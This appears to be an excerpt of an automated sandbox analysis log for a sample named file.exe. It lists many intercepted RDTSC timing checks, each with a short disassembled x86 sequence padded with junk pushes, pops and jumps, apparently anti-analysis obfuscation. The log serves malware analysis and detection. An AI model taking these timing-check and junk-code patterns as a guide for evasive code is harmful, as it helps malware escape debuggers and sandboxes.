Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AA10 second address: 58AA29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF398EAF4CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AA29 second address: 58AA2E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ACA0 second address: 58ACA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ACA6 second address: 58ACB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ACB2 second address: 58ACB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ACB6 second address: 58ACCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ACCE second address: 58ACD8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF398EAF4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B5DD second address: 58B5E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B5E3 second address: 57209F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF398EAF4CDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 jmp 00007FF398EAF4D4h 0x00000015 call dword ptr [ebp+122D181Ch] 0x0000001b push edi 0x0000001c jng 00007FF398EAF4C8h 0x00000022 push edi 0x00000023 pop edi 0x00000024 jc 00007FF398EAF4CAh 0x0000002a push esi 0x0000002b pop esi 0x0000002c pushad 0x0000002d popad 0x0000002e pop edi 0x0000002f push eax 0x00000030 push edx 0x00000031 push edx 0x00000032 ja 00007FF398EAF4C6h 0x00000038 pop edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57209F second address: 5720A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720A5 second address: 5720CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF398EAF4C6h 0x00000008 jmp 00007FF398EAF4D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7DDF second address: 5C7DE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7DE6 second address: 5C7DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7F6D second address: 5C7F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7F79 second address: 5C7F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80C3 second address: 5C80F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF399017D86h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80F5 second address: 5C80FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80FD second address: 5C811C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D89h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8274 second address: 5C827A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C827A second address: 5C827E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C827E second address: 5C829A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007FF398EAF4C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C829A second address: 5C82C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Fh 0x00000007 jmp 00007FF399017D7Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C855C second address: 5C8573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8573 second address: 5C8579 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C872D second address: 5C8733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF7E second address: 5CCF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FF399017D76h 0x0000000f jnc 00007FF399017D76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD0FF second address: 5CD104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD104 second address: 5CD10D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD10D second address: 5CD117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD5AD second address: 5CD5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D80h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD732 second address: 5CD736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDB73 second address: 5CDB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCE7 second address: 5CDCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2599 second address: 5D25A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF399017D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D25A3 second address: 5D25CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e ja 00007FF398EAF4CEh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2893 second address: 5D2899 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2899 second address: 5D28A0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E10 second address: 5D2E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E14 second address: 5D2E1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E1A second address: 5D2E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF399017D89h 0x0000000c jmp 00007FF399017D83h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3097 second address: 5D30C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF398EAF4D6h 0x0000000e pop esi 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D30C4 second address: 5D30CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF399017D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3213 second address: 5D3232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 ja 00007FF398EAF4C6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jne 00007FF398EAF4C6h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3232 second address: 5D3239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D36E0 second address: 5D36E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D36E4 second address: 5D36EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1FBE second address: 5D1FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CDh 0x00000009 popad 0x0000000a push eax 0x0000000b jp 00007FF398EAF4C6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1FDA second address: 5D1FDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1FDF second address: 5D2009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF398EAF4D7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007FF398EAF4D9h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7C37 second address: 5D7C5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FF399017D86h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553EF3 second address: 553EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553EF8 second address: 553EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553EFE second address: 553F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CAh 0x00000009 popad 0x0000000a jc 00007FF398EAF4CEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9F34 second address: 5D9F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FF399017D88h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9F58 second address: 5D9F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCBA8 second address: 5DCBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCBB4 second address: 5DCBBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC8BB second address: 5DC8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E178A second address: 5E178E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E178E second address: 5E1792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BA9 second address: 5E0BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BAF second address: 5E0BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BB9 second address: 5E0BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF398EAF4C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BC5 second address: 5E0BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FF399017D7Eh 0x0000000b jmp 00007FF399017D88h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BF6 second address: 5E0BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D55 second address: 5E0D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D5B second address: 5E0D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D61 second address: 5E0D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D65 second address: 5E0D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1142 second address: 5E114C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF399017D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E12C0 second address: 5E12C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E12C8 second address: 5E12CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5793 second address: 5E5799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5924 second address: 5E5936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 js 00007FF399017D84h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5936 second address: 5E593A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5BDD second address: 5E5BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5BE1 second address: 5E5BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AEAE second address: 58AEB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AEB2 second address: 58AEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AEBB second address: 58AF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FF399017D78h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D3688h], edx 0x0000002b mov ebx, dword ptr [ebp+12481F50h] 0x00000031 mov dword ptr [ebp+122D17CFh], esi 0x00000037 add eax, ebx 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FF399017D78h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 jmp 00007FF399017D84h 0x00000058 nop 0x00000059 jo 00007FF399017D80h 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AF35 second address: 58AFB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007FF398EAF4E1h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FF398EAF4C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov ecx, dword ptr [ebp+122D2E5Ah] 0x0000002e push 00000004h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007FF398EAF4C8h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a or dword ptr [ebp+122D19C9h], eax 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push edi 0x00000054 pushad 0x00000055 popad 0x00000056 pop edi 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AFB4 second address: 58AFBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AFBA second address: 58AFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E61D3 second address: 5E61DB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6AE8 second address: 5E6AF2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF398EAF4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6AF2 second address: 5E6B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF399017D87h 0x0000000a jmp 00007FF399017D7Bh 0x0000000f jbe 00007FF399017D76h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E942F second address: 5E9451 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF398EAF4CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FF398EAF4CDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9451 second address: 5E946C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E946C second address: 5E94A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF398EAF4D9h 0x0000000e jmp 00007FF398EAF4D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9A0A second address: 5E9A1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FF399017D7Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1C22 second address: 5F1C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0899 second address: 5F08BA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF399017D93h 0x00000008 jmp 00007FF399017D87h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
